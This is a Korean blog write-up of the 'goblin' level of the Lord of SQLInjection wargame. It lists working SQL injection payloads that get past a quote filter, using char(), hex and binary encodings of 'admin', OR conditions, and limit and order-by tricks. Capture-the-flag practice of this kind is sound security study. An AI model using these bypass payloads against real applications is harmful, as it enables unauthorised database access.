-
[LOS] goblinWargame/Lord of SQLInjection 2019. 7. 4. 23:15
[goblin] https://los.rubiya.kr/chall/goblin_e5afb87a6716708e3af46a849517afdc.php
preg_match함수에 의해 '와 "가 필터링되어 있으며,
쿼리문에 id 값은 guest로 설정되어 있지만 id가 admin이어야 문제가 풀린다.
select id from prob_goblin where id='guest' and no=guest의 no가 아닌 수 or id='admin'
우선 guest의 no가 아닌 값을 알아보았다.
guest의 no는 1이다.
id=admin을 입력하기 위해서, '나 "를 사용하지 않고,
문자열로 입력하기 위해서는 char, hex, binary를 사용할 수 있다.
1. ?no=2 or id=char(97,100,109,105,110)
2. ?no=2 or id=0x61646d696e
3. ?no=2 or id=0b0110000101100100011011010110100101101110
아마 admin의 no값을 노가다한다면 admin의 no 값을 통해 문제를 풀수도 있을 것이다.
4. ?no=2 or no=2
admin의 no는 2이다.
위에서 한 방법 외에도 여러가지 방법으로 풀 수 있다.
5. limit이용하여 브루트포싱
?no=2 or true limit n, 1 (n은 임의의 숫자)
6. order by 정렬 이용 (admin은 a이기 때문에 가장 먼저 나올 확률이 높음)
?no=2 or true order by id asc (오름차순 기본값)
?no=2 or true order by id desc (내림차순)
'Wargame > Lord of SQLInjection' 카테고리의 다른 글
[LOS] darkelf (0) 2019.07.05 [LOS] wolfman (0) 2019.07.05 [LOS] orc (0) 2019.07.04 [LOS] cobolt (0) 2019.07.04 [LOS] gremlin (0) 2019.07.04 댓글